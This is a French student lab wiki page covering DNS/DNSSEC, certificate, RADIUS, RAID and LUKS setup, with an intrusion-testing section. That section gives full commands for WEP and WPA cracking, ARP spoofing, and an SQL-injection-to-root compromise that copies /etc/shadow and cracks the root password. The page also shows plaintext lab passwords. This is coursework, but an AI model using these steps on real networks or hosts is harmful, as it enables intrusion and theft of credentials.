&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
